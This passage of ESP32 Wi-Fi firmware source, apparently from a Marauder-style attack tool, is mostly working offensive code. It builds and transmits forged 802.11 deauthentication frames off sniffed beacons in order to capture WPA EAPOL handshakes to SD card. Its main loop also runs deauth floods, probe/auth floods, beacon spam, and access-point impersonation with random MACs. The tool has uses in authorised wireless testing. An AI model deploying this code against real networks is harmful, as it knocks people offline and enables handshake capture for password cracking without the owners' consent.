  1998. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1999. int len = snifferPacket->rx_ctrl.sig_len;
  2000. String display_string = "";
  2001. if (type == WIFI_PKT_MGMT)
  2002. {
  2003. len -= 4;
  2004. int fctl = ntohs(frameControl->fctl);
  2005. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  2006. const WifiMgmtHdr *hdr = &ipkt->hdr;
  2007. }
  2008. #ifdef HAS_SCREEN
  2009. int buff = display_obj.display_buffer->size();
  2010. #else
  2011. int buff = 0;
  2012. #endif
  2013. // Found beacon frame. Decide whether to deauth
  2014. if (send_deauth) {
  2015. if (snifferPacket->payload[0] == 0x80) {
  2016. // Build packet
  2017. uint8_t new_packet[26] = {
  2018. 0xc0, 0x00, 0x3a, 0x01,
  2019. 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  2020. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  2021. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  2022. 0xf0, 0xff, 0x02, 0x00
  2023. };
  2024. new_packet[10] = snifferPacket->payload[10];
  2025. new_packet[11] = snifferPacket->payload[11];
  2026. new_packet[12] = snifferPacket->payload[12];
  2027. new_packet[13] = snifferPacket->payload[13];
  2028. new_packet[14] = snifferPacket->payload[14];
  2029. new_packet[15] = snifferPacket->payload[15];
  2030. new_packet[16] = snifferPacket->payload[10];
  2031. new_packet[17] = snifferPacket->payload[11];
  2032. new_packet[18] = snifferPacket->payload[12];
  2033. new_packet[19] = snifferPacket->payload[13];
  2034. new_packet[20] = snifferPacket->payload[14];
  2035. new_packet[21] = snifferPacket->payload[15];
  2036. // Send packet
  2037. esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2038. esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2039. esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2040. }
  2041. }
  2042. if (( (snifferPacket->payload[30] == 0x88 && snifferPacket->payload[31] == 0x8e)|| ( snifferPacket->payload[32] == 0x88 && snifferPacket->payload[33] == 0x8e) )){
  2043. num_eapol++;
  2044. Serial.println("Received EAPOL:");
  2045. char addr[] = "00:00:00:00:00:00";
  2046. getMAC(addr, snifferPacket->payload, 10);
  2047. display_string.concat(addr);
  2048. int temp_len = display_string.length();
  2049. #ifdef HAS_SCREEN
  2050. for (int i = 0; i < 40 - temp_len; i++)
  2051. {
  2052. display_string.concat(" ");
  2053. }
  2054. Serial.print(" ");
  2055. #ifdef MARAUDER_MINI
  2056. if (display_obj.display_buffer->size() == 0)
  2057. {
  2058. display_obj.loading = true;
  2059. display_obj.display_buffer->add(display_string);
  2060. display_obj.loading = false;
  2061. }
  2062. #endif
  2063. #endif
  2064. for (int i = 0; i < len; i++) {
  2065. char hexCar[4];
  2066. sprintf(hexCar, "%02X", snifferPacket->payload[i]);
  2067. Serial.print(hexCar);
  2068. //Serial.print(snifferPacket->payload[i], HEX);
  2069. if ((i + 1) % 16 == 0)
  2070. Serial.print("\n");
  2071. else
  2072. Serial.print(" ");
  2073. }
  2074. Serial.print("\n");
  2075. }
  2076. if (save_packet)
  2077. sd_obj.addPacket(snifferPacket->payload, len);
  2078. }
  2079. void WiFiScan::activeEapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  2080. {
  2081. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  2082. bool send_deauth = settings_obj.loadSetting<bool>(text_table4[5]);
  2083. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  2084. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  2085. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  2086. int len = snifferPacket->rx_ctrl.sig_len;
  2087. if (type == WIFI_PKT_MGMT)
  2088. {
  2089. len -= 4;
  2090. int fctl = ntohs(frameControl->fctl);
  2091. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  2092. const WifiMgmtHdr *hdr = &ipkt->hdr;
  2093. }
  2094. // Found beacon frame. Decide whether to deauth
  2095. if (snifferPacket->payload[0] == 0x80) {
  2096. // Build packet
  2097. uint8_t new_packet[26] = {
  2098. 0xc0, 0x00, 0x3a, 0x01,
  2099. 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  2100. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  2101. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  2102. 0xf0, 0xff, 0x02, 0x00
  2103. };
  2104. new_packet[10] = snifferPacket->payload[10];
  2105. new_packet[11] = snifferPacket->payload[11];
  2106. new_packet[12] = snifferPacket->payload[12];
  2107. new_packet[13] = snifferPacket->payload[13];
  2108. new_packet[14] = snifferPacket->payload[14];
  2109. new_packet[15] = snifferPacket->payload[15];
  2110. new_packet[16] = snifferPacket->payload[10];
  2111. new_packet[17] = snifferPacket->payload[11];
  2112. new_packet[18] = snifferPacket->payload[12];
  2113. new_packet[19] = snifferPacket->payload[13];
  2114. new_packet[20] = snifferPacket->payload[14];
  2115. new_packet[21] = snifferPacket->payload[15];
  2116. // Send packet
  2117. esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2118. esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2119. esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2120. }
  2121. if (( (snifferPacket->payload[30] == 0x88 && snifferPacket->payload[31] == 0x8e)|| ( snifferPacket->payload[32] == 0x88 && snifferPacket->payload[33] == 0x8e) )){
  2122. num_eapol++;
  2123. Serial.println("Received EAPOL:");
  2124. for (int i = 0; i < len; i++) {
  2125. char hexCar[4];
  2126. sprintf(hexCar, "%02X", snifferPacket->payload[i]);
  2127. Serial.print(hexCar);
  2128. //Serial.print(snifferPacket->payload[i], HEX);
  2129. if ((i + 1) % 16 == 0)
  2130. Serial.print("\n");
  2131. else
  2132. Serial.print(" ");
  2133. }
  2134. Serial.print("\n");
  2135. }
  2136. if (save_packet)
  2137. sd_obj.addPacket(snifferPacket->payload, len);
  2138. }
  2139. #ifdef HAS_SCREEN
  2140. void WiFiScan::eapolMonitorMain(uint32_t currentTime)
  2141. {
  2142. //---------MAIN 'FOR' LOOP! THIS IS WHERE ALL THE ACTION HAPPENS! HAS TO BE FAST!!!!!---------\\
  2143. // for (x_pos = (11 + x_scale); x_pos <= 320; x_pos += x_scale) //go along every point on the x axis and do something, start over when finished
  2144. for (x_pos = (11 + x_scale); x_pos <= 320; x_pos = x_pos)
  2145. {
  2146. currentTime = millis();
  2147. do_break = false;
  2148. y_pos_x = 0;
  2149. y_pos_y = 0;
  2150. y_pos_z = 0;
  2151. boolean pressed = false;
  2152. uint16_t t_x = 0, t_y = 0; // To store the touch coordinates
  2153. // Do the touch stuff
  2154. pressed = display_obj.tft.getTouch(&t_x, &t_y);
  2155. if (pressed) {
  2156. Serial.print("Got touch | X: ");
  2157. Serial.print(t_x);
  2158. Serial.print(" Y: ");
  2159. Serial.println(t_y);
  2160. }
  2161. // Check buttons for presses
  2162. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2163. {
  2164. if (pressed && display_obj.key[b].contains(t_x, t_y))
  2165. {
  2166. display_obj.key[b].press(true);
  2167. } else {
  2168. display_obj.key[b].press(false);
  2169. }
  2170. }
  2171. // Which buttons pressed
  2172. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2173. {
  2174. if (display_obj.key[b].justPressed())
  2175. {
  2176. Serial.println("Bro, key pressed");
  2177. //do_break = true;
  2178. }
  2179. if (display_obj.key[b].justReleased())
  2180. {
  2181. do_break = true;
  2182. // Channel - button pressed
  2183. if (b == 4) {
  2184. if (set_channel > 1) {
  2185. Serial.println("Shit channel down");
  2186. set_channel--;
  2187. delay(70);
  2188. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2189. //display_obj.tftDrawXScaleButtons(x_scale);
  2190. //display_obj.tftDrawYScaleButtons(y_scale);
  2191. display_obj.tftDrawChannelScaleButtons(set_channel);
  2192. display_obj.tftDrawExitScaleButtons();
  2193. changeChannel();
  2194. break;
  2195. }
  2196. }
  2197. // Channel + button pressed
  2198. else if (b == 5) {
  2199. if (set_channel < MAX_CHANNEL) {
  2200. Serial.println("Shit channel up");
  2201. set_channel++;
  2202. delay(70);
  2203. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2204. //display_obj.tftDrawXScaleButtons(x_scale);
  2205. //display_obj.tftDrawYScaleButtons(y_scale);
  2206. display_obj.tftDrawChannelScaleButtons(set_channel);
  2207. display_obj.tftDrawExitScaleButtons();
  2208. changeChannel();
  2209. break;
  2210. }
  2211. }
  2212. else if (b == 6) {
  2213. Serial.println("Exiting packet monitor...");
  2214. this->StartScan(WIFI_SCAN_OFF);
  2215. //display_obj.tft.init();
  2216. this->orient_display = true;
  2217. return;
  2218. }
  2219. }
  2220. }
  2221. if (currentTime - initTime >= (GRAPH_REFRESH * 5)) {
  2222. //Serial.println("-----------------------------------------");
  2223. //Serial.println("Time elapsed: " + (String)(currentTime - initTime) + "ms");
  2224. x_pos += x_scale;
  2225. initTime = millis();
  2226. y_pos_x = ((-num_eapol * (y_scale * 3)) + (HEIGHT_1 - 2)); // GREEN
  2227. if (y_pos_x >= HEIGHT_1) {
  2228. Serial.println("Max EAPOL number reached. Adjusting...");
  2229. num_eapol = 0;
  2230. }
  2231. //y_pos_y = ((-num_deauth * (y_scale * 3)) + (HEIGHT_1 - 2)); // RED
  2232. //y_pos_z = ((-num_probe * (y_scale * 3)) + (HEIGHT_1 - 2)); // BLUE
  2233. //Serial.println("num_beacon: " + (String)num_beacon);
  2234. //Serial.println("num_deauth: " + (String)num_deauth);
  2235. //Serial.println(" num_probe: " + (String)num_probe);
  2236. //num_beacon = 0;
  2237. //num_probe = 0;
  2238. //num_deauth = 0;
  2239. //CODE FOR PLOTTING CONTINUOUS LINES!!!!!!!!!!!!
  2240. //Plot "X" value
  2241. display_obj.tft.drawLine(x_pos - x_scale, y_pos_x_old, x_pos, y_pos_x, TFT_CYAN);
  2242. //Plot "Z" value
  2243. //display_obj.tft.drawLine(x_pos - x_scale, y_pos_z_old, x_pos, y_pos_z, TFT_BLUE);
  2244. //Plot "Y" value
  2245. //display_obj.tft.drawLine(x_pos - x_scale, y_pos_y_old, x_pos, y_pos_y, TFT_RED);
  2246. //Draw preceding black 'boxes' to erase old plot lines, !!!WEIRD CODE TO COMPENSATE FOR BUTTONS AND COLOR KEY SO 'ERASER' DOESN'T ERASE BUTTONS AND COLOR KEY!!!
  2247. //if ((x_pos <= 90) || ((x_pos >= 198) && (x_pos <= 320))) //above x axis
  2248. if ((x_pos <= 90) || ((x_pos >= 117) && (x_pos <= 320))) //above x axis
  2249. {
  2250. display_obj.tft.fillRect(x_pos+1, 28, 10, 93, TFT_BLACK); //compensate for buttons!
  2251. }
  2252. else
  2253. {
  2254. display_obj.tft.fillRect(x_pos+1, 0, 10, 121, TFT_BLACK); //don't compensate for buttons!
  2255. }
  2256. //if ((x_pos >= 254) && (x_pos <= 320)) //below x axis
  2257. //if (x_pos <= 90)
  2258. if (x_pos < 0) // below x axis
  2259. {
  2260. //tft.fillRect(x_pos+1, 121, 10, 88, TFT_BLACK);
  2261. display_obj.tft.fillRect(x_pos+1, 121, 10, 88, TFT_CYAN);
  2262. }
  2263. else
  2264. {
  2265. //tft.fillRect(x_pos+1, 121, 10, 119, TFT_BLACK);
  2266. display_obj.tft.fillRect(x_pos+1, 121, 10, 118, TFT_BLACK);
  2267. }
  2268. //tftDisplayTime();
  2269. if ( (y_pos_x == 120) || (y_pos_y == 120) || (y_pos_z == 120) )
  2270. {
  2271. display_obj.tft.drawFastHLine(10, 120, 310, TFT_WHITE); // x axis
  2272. }
  2273. y_pos_x_old = y_pos_x; //set old y pos values to current y pos values
  2274. //y_pos_y_old = y_pos_y;
  2275. //y_pos_z_old = y_pos_z;
  2276. //delay(50);
  2277. }
  2278. sd_obj.main();
  2279. }
  2280. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); //erase XY buttons and any lines behind them
  2281. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // key
  2282. display_obj.tftDrawChannelScaleButtons(set_channel);
  2283. display_obj.tftDrawExitScaleButtons();
  2284. display_obj.tftDrawEapolColorKey();
  2285. display_obj.tftDrawGraphObjects(x_scale);
  2286. }
  2287. void WiFiScan::packetMonitorMain(uint32_t currentTime)
  2288. {
  2289. //---------MAIN 'FOR' LOOP! THIS IS WHERE ALL THE ACTION HAPPENS! HAS TO BE FAST!!!!!---------\\
  2290. // for (x_pos = (11 + x_scale); x_pos <= 320; x_pos += x_scale) //go along every point on the x axis and do something, start over when finished
  2291. for (x_pos = (11 + x_scale); x_pos <= 320; x_pos = x_pos)
  2292. {
  2293. currentTime = millis();
  2294. do_break = false;
  2295. y_pos_x = 0;
  2296. y_pos_y = 0;
  2297. y_pos_z = 0;
  2298. boolean pressed = false;
  2299. uint16_t t_x = 0, t_y = 0; // To store the touch coordinates
  2300. // Do the touch stuff
  2301. pressed = display_obj.tft.getTouch(&t_x, &t_y);
  2302. if (pressed) {
  2303. Serial.print("Got touch | X: ");
  2304. Serial.print(t_x);
  2305. Serial.print(" Y: ");
  2306. Serial.println(t_y);
  2307. }
  2308. // Check buttons for presses
  2309. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2310. {
  2311. if (pressed && display_obj.key[b].contains(t_x, t_y))
  2312. {
  2313. display_obj.key[b].press(true);
  2314. } else {
  2315. display_obj.key[b].press(false);
  2316. }
  2317. }
  2318. // Which buttons pressed
  2319. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2320. {
  2321. if (display_obj.key[b].justPressed())
  2322. {
  2323. Serial.println("Bro, key pressed");
  2324. //do_break = true;
  2325. }
  2326. if (display_obj.key[b].justReleased())
  2327. {
  2328. do_break = true;
  2329. // X - button pressed
  2330. if (b == 0) {
  2331. if (x_scale > 1) {
  2332. x_scale--;
  2333. delay(70);
  2334. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2335. display_obj.tftDrawXScaleButtons(x_scale);
  2336. display_obj.tftDrawYScaleButtons(y_scale);
  2337. display_obj.tftDrawChannelScaleButtons(set_channel);
  2338. display_obj.tftDrawExitScaleButtons();
  2339. break;
  2340. }
  2341. }
  2342. // X + button pressed
  2343. else if (b == 1) {
  2344. if (x_scale < 6) {
  2345. x_scale++;
  2346. delay(70);
  2347. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2348. display_obj.tftDrawXScaleButtons(x_scale);
  2349. display_obj.tftDrawYScaleButtons(y_scale);
  2350. display_obj.tftDrawChannelScaleButtons(set_channel);
  2351. display_obj.tftDrawExitScaleButtons();
  2352. break;
  2353. }
  2354. }
  2355. // Y - button pressed
  2356. else if (b == 2) {
  2357. if (y_scale > 1) {
  2358. y_scale--;
  2359. delay(70);
  2360. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2361. display_obj.tftDrawXScaleButtons(x_scale);
  2362. display_obj.tftDrawYScaleButtons(y_scale);
  2363. display_obj.tftDrawChannelScaleButtons(set_channel);
  2364. display_obj.tftDrawExitScaleButtons();
  2365. //updateMidway();
  2366. break;
  2367. }
  2368. }
  2369. // Y + button pressed
  2370. else if (b == 3) {
  2371. if (y_scale < 9) {
  2372. y_scale++;
  2373. delay(70);
  2374. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2375. display_obj.tftDrawXScaleButtons(x_scale);
  2376. display_obj.tftDrawYScaleButtons(y_scale);
  2377. display_obj.tftDrawChannelScaleButtons(set_channel);
  2378. display_obj.tftDrawExitScaleButtons();
  2379. //updateMidway();
  2380. break;
  2381. }
  2382. }
  2383. // Channel - button pressed
  2384. else if (b == 4) {
  2385. if (set_channel > 1) {
  2386. Serial.println("Shit channel down");
  2387. set_channel--;
  2388. delay(70);
  2389. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2390. display_obj.tftDrawXScaleButtons(x_scale);
  2391. display_obj.tftDrawYScaleButtons(y_scale);
  2392. display_obj.tftDrawChannelScaleButtons(set_channel);
  2393. display_obj.tftDrawExitScaleButtons();
  2394. changeChannel();
  2395. break;
  2396. }
  2397. }
  2398. // Channel + button pressed
  2399. else if (b == 5) {
  2400. if (set_channel < MAX_CHANNEL) {
  2401. Serial.println("Shit channel up");
  2402. set_channel++;
  2403. delay(70);
  2404. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2405. display_obj.tftDrawXScaleButtons(x_scale);
  2406. display_obj.tftDrawYScaleButtons(y_scale);
  2407. display_obj.tftDrawChannelScaleButtons(set_channel);
  2408. display_obj.tftDrawExitScaleButtons();
  2409. changeChannel();
  2410. break;
  2411. }
  2412. }
  2413. else if (b == 6) {
  2414. Serial.println("Exiting packet monitor...");
  2415. this->StartScan(WIFI_SCAN_OFF);
  2416. //display_obj.tft.init();
  2417. this->orient_display = true;
  2418. return;
  2419. }
  2420. }
  2421. }
  2422. if (currentTime - initTime >= GRAPH_REFRESH) {
  2423. //Serial.println("-----------------------------------------");
  2424. //Serial.println("Time elapsed: " + (String)(currentTime - initTime) + "ms");
  2425. x_pos += x_scale;
  2426. initTime = millis();
  2427. y_pos_x = ((-num_beacon * (y_scale * 3)) + (HEIGHT_1 - 2)); // GREEN
  2428. y_pos_y = ((-num_deauth * (y_scale * 3)) + (HEIGHT_1 - 2)); // RED
  2429. y_pos_z = ((-num_probe * (y_scale * 3)) + (HEIGHT_1 - 2)); // BLUE
  2430. //Serial.println("num_beacon: " + (String)num_beacon);
  2431. //Serial.println("num_deauth: " + (String)num_deauth);
  2432. //Serial.println(" num_probe: " + (String)num_probe);
  2433. num_beacon = 0;
  2434. num_probe = 0;
  2435. num_deauth = 0;
  2436. //CODE FOR PLOTTING CONTINUOUS LINES!!!!!!!!!!!!
  2437. //Plot "X" value
  2438. display_obj.tft.drawLine(x_pos - x_scale, y_pos_x_old, x_pos, y_pos_x, TFT_GREEN);
  2439. //Plot "Z" value
  2440. display_obj.tft.drawLine(x_pos - x_scale, y_pos_z_old, x_pos, y_pos_z, TFT_BLUE);
  2441. //Plot "Y" value
  2442. display_obj.tft.drawLine(x_pos - x_scale, y_pos_y_old, x_pos, y_pos_y, TFT_RED);
  2443. //Draw preceding black 'boxes' to erase old plot lines, !!!WEIRD CODE TO COMPENSATE FOR BUTTONS AND COLOR KEY SO 'ERASER' DOESN'T ERASE BUTTONS AND COLOR KEY!!!
  2444. //if ((x_pos <= 90) || ((x_pos >= 198) && (x_pos <= 320))) //above x axis
  2445. if ((x_pos <= 90) || ((x_pos >= 117) && (x_pos <= 320))) //above x axis
  2446. {
  2447. display_obj.tft.fillRect(x_pos+1, 28, 10, 93, TFT_BLACK); //compensate for buttons!
  2448. }
  2449. else
  2450. {
  2451. display_obj.tft.fillRect(x_pos+1, 0, 10, 121, TFT_BLACK); //don't compensate for buttons!
  2452. }
  2453. //if ((x_pos >= 254) && (x_pos <= 320)) //below x axis
  2454. //if (x_pos <= 90)
  2455. if (x_pos < 0) // below x axis
  2456. {
  2457. //tft.fillRect(x_pos+1, 121, 10, 88, TFT_BLACK);
  2458. display_obj.tft.fillRect(x_pos+1, 121, 10, 88, TFT_CYAN);
  2459. }
  2460. else
  2461. {
  2462. //tft.fillRect(x_pos+1, 121, 10, 119, TFT_BLACK);
  2463. display_obj.tft.fillRect(x_pos+1, 121, 10, 118, TFT_BLACK);
  2464. }
  2465. //tftDisplayTime();
  2466. if ( (y_pos_x == 120) || (y_pos_y == 120) || (y_pos_z == 120) )
  2467. {
  2468. display_obj.tft.drawFastHLine(10, 120, 310, TFT_WHITE); // x axis
  2469. }
  2470. y_pos_x_old = y_pos_x; //set old y pos values to current y pos values
  2471. y_pos_y_old = y_pos_y;
  2472. y_pos_z_old = y_pos_z;
  2473. //delay(50);
  2474. }
  2475. sd_obj.main();
  2476. }
  2477. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); //erase XY buttons and any lines behind them
  2478. //tft.fillRect(56, 0, 66, 32, TFT_ORANGE); //erase time and color key and any stray lines behind them
  2479. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // key
  2480. display_obj.tftDrawXScaleButtons(x_scale); //redraw stuff
  2481. display_obj.tftDrawYScaleButtons(y_scale);
  2482. display_obj.tftDrawChannelScaleButtons(set_channel);
  2483. display_obj.tftDrawExitScaleButtons();
  2484. display_obj.tftDrawColorKey();
  2485. display_obj.tftDrawGraphObjects(x_scale);
  2486. }
  2487. #endif
  2488. //void WiFiScan::sniffer_callback(void* buf, wifi_promiscuous_pkt_type_t type) {
  2489. // wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  2490. // showMetadata(snifferPacket, type);
  2491. //}
  2492. void WiFiScan::changeChannel(int chan) {
  2493. this->set_channel = chan;
  2494. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2495. delay(1);
  2496. }
  2497. void WiFiScan::changeChannel()
  2498. {
  2499. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2500. delay(1);
  2501. }
  2502. // Function to cycle to the next channel
  2503. void WiFiScan::channelHop()
  2504. {
  2505. this->set_channel = this->set_channel + 1;
  2506. if (this->set_channel > 13) {
  2507. this->set_channel = 1;
  2508. }
  2509. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2510. delay(1);
  2511. }
  2512. char* WiFiScan::stringToChar(String string) {
  2513. char buf[string.length() + 1] = {};
  2514. string.toCharArray(buf, string.length() + 1);
  2515. return buf;
  2516. }
  2517. // Function for updating scan status
  2518. void WiFiScan::main(uint32_t currentTime)
  2519. {
  2520. // WiFi operations
  2521. if ((currentScanMode == WIFI_SCAN_PROBE) ||
  2522. (currentScanMode == WIFI_SCAN_AP) ||
  2523. (currentScanMode == WIFI_SCAN_TARGET_AP) ||
  2524. (currentScanMode == WIFI_SCAN_PWN) ||
  2525. (currentScanMode == WIFI_SCAN_ESPRESSIF) ||
  2526. (currentScanMode == WIFI_SCAN_DEAUTH) ||
  2527. (currentScanMode == WIFI_SCAN_ALL))
  2528. {
  2529. if (currentTime - initTime >= this->channel_hop_delay * 1000)
  2530. {
  2531. initTime = millis();
  2532. channelHop();
  2533. }
  2534. }
  2535. else if (currentScanMode == WIFI_PACKET_MONITOR)
  2536. {
  2537. #ifdef HAS_SCREEN
  2538. #ifndef MARAUDER_MINI
  2539. packetMonitorMain(currentTime);
  2540. #endif
  2541. #endif
  2542. }
  2543. else if (currentScanMode == WIFI_SCAN_EAPOL)
  2544. {
  2545. #ifdef HAS_SCREEN
  2546. #ifndef MARAUDER_MINI
  2547. eapolMonitorMain(currentTime);
  2548. #endif
  2549. #endif
  2550. }
  2551. else if (currentScanMode == WIFI_SCAN_ACTIVE_EAPOL)
  2552. {
  2553. #ifdef HAS_SCREEN
  2554. eapolMonitorMain(currentTime);
  2555. #endif
  2556. }
  2557. else if (currentScanMode == WIFI_ATTACK_AUTH) {
  2558. for (int i = 0; i < 55; i++)
  2559. this->sendProbeAttack(currentTime);
  2560. if (currentTime - initTime >= 1000) {
  2561. initTime = millis();
  2562. String displayString = "";
  2563. String displayString2 = "";
  2564. displayString.concat(text18);
  2565. displayString.concat(packets_sent);
  2566. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2567. displayString2.concat(" ");
  2568. #ifdef HAS_SCREEN
  2569. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2570. display_obj.showCenterText(displayString2, 160);
  2571. display_obj.showCenterText(displayString, 160);
  2572. #endif
  2573. packets_sent = 0;
  2574. }
  2575. }
  2576. else if (currentScanMode == WIFI_ATTACK_DEAUTH) {
  2577. for (int i = 0; i < 55; i++)
  2578. this->sendDeauthAttack(currentTime);
  2579. if (currentTime - initTime >= 1000) {
  2580. initTime = millis();
  2581. String displayString = "";
  2582. String displayString2 = "";
  2583. displayString.concat(text18);
  2584. displayString.concat(packets_sent);
  2585. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2586. displayString2.concat(" ");
  2587. #ifdef HAS_SCREEN
  2588. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2589. display_obj.showCenterText(displayString2, 160);
  2590. display_obj.showCenterText(displayString, 160);
  2591. #endif
  2592. packets_sent = 0;
  2593. }
  2594. }
  2595. else if ((currentScanMode == WIFI_ATTACK_MIMIC)) {
  2596. // Need this for loop because getTouch causes ~10ms delay
  2597. // which makes beacon spam less effective
  2598. for (int i = 0; i < access_points->size(); i++) {
  2599. if (access_points->get(i).selected)
  2600. this->broadcastCustomBeacon(currentTime, ssid{access_points->get(i).essid, {random(256),
  2601. random(256),
  2602. random(256),
  2603. random(256),
  2604. random(256),
  2605. random(256)}});
  2606. }
  2607. if (currentTime - initTime >= 1000)
  2608. {
  2609. initTime = millis();
  2610. //Serial.print("packets/sec: ");
  2611. //Serial.println(packets_sent);
  2612. String displayString = "";
  2613. String displayString2 = "";
  2614. displayString.concat(text18);
  2615. displayString.concat(packets_sent);
  2616. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2617. displayString2.concat(" ");
  2618. #ifdef HAS_SCREEN
  2619. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2620. display_obj.showCenterText(displayString2, 160);
  2621. display_obj.showCenterText(displayString, 160);
  2622. #endif
  2623. packets_sent = 0;
  2624. }
  2625. }
  2626. else if ((currentScanMode == WIFI_ATTACK_BEACON_SPAM))
  2627. {
  2628. // Need this for loop because getTouch causes ~10ms delay
  2629. // which makes beacon spam less effective
  2630. for (int i = 0; i < 55; i++)
  2631. broadcastRandomSSID(currentTime);
  2632. if (currentTime - initTime >= 1000)
  2633. {
  2634. initTime = millis();
  2635. //Serial.print("packets/sec: ");
  2636. //Serial.println(packets_sent);
  2637. String displayString = "";
  2638. String displayString2 = "";
  2639. displayString.concat(text18);
  2640. displayString.concat(packets_sent);
  2641. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2642. displayString2.concat(" ");
  2643. #ifdef HAS_SCREEN
  2644. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2645. display_obj.showCenterText(displayString2, 160);
  2646. display_obj.showCenterText(displayString, 160);
  2647. #endif
  2648. packets_sent = 0;
  2649. }
  2650. }
  2651. else if ((currentScanMode == WIFI_ATTACK_BEACON_LIST)) {
  2652. for (int i = 0; i < ssids->size(); i++)
  2653. this->broadcastCustomBeacon(currentTime, ssids->get(i));
  2654. if (currentTime - initTime >= 1000)
  2655. {
  2656. initTime = millis();
  2657. packets_sent = 0;
  2658. }
  2659. }
  2660. else if ((currentScanMode == WIFI_ATTACK_AP_SPAM)) {
  2661. for (int i = 0; i < access_points->size(); i++) {
  2662. if (access_points->get(i).selected)
  2663. this->broadcastCustomBeacon(currentTime, access_points->get(i));
  2664. }
  2665. if (currentTime - initTime >= 1000) {
  2666. initTime = millis();
  2667. packets_sent = 0;
  2668. }
  2669. }
  2670. else if ((currentScanMode == WIFI_ATTACK_RICK_ROLL))
  2671. {
  2672. // Need this for loop because getTouch causes ~10ms delay
  2673. // which makes beacon spam less effective
  2674. for (int i = 0; i < 7; i++)
  2675. {
  2676. for (int x = 0; x < (sizeof(rick_roll)/sizeof(char *)); x++)
  2677. {
  2678. broadcastSetSSID(currentTime, rick_roll[x]);
  2679. }
  2680. }
  2681. if (currentTime - initTime >= 1000)
  2682. {
  2683. initTime = millis();
  2684. //Serial.print("packets/sec: ");
  2685. //Serial.println(packets_sent);
  2686. String displayString = "";
  2687. String displayString2 = "";
  2688. displayString.concat(text18);
  2689. displayString.concat(packets_sent);
  2690. for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
  2691. displayString2.concat(" ");
  2692. #ifdef HAS_SCREEN
  2693. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  2694. display_obj.showCenterText(displayString2, 160);
  2695. display_obj.showCenterText(displayString, 160);
  2696. #endif
  2697. packets_sent = 0;
  2698. }
  2699. }
  2700. }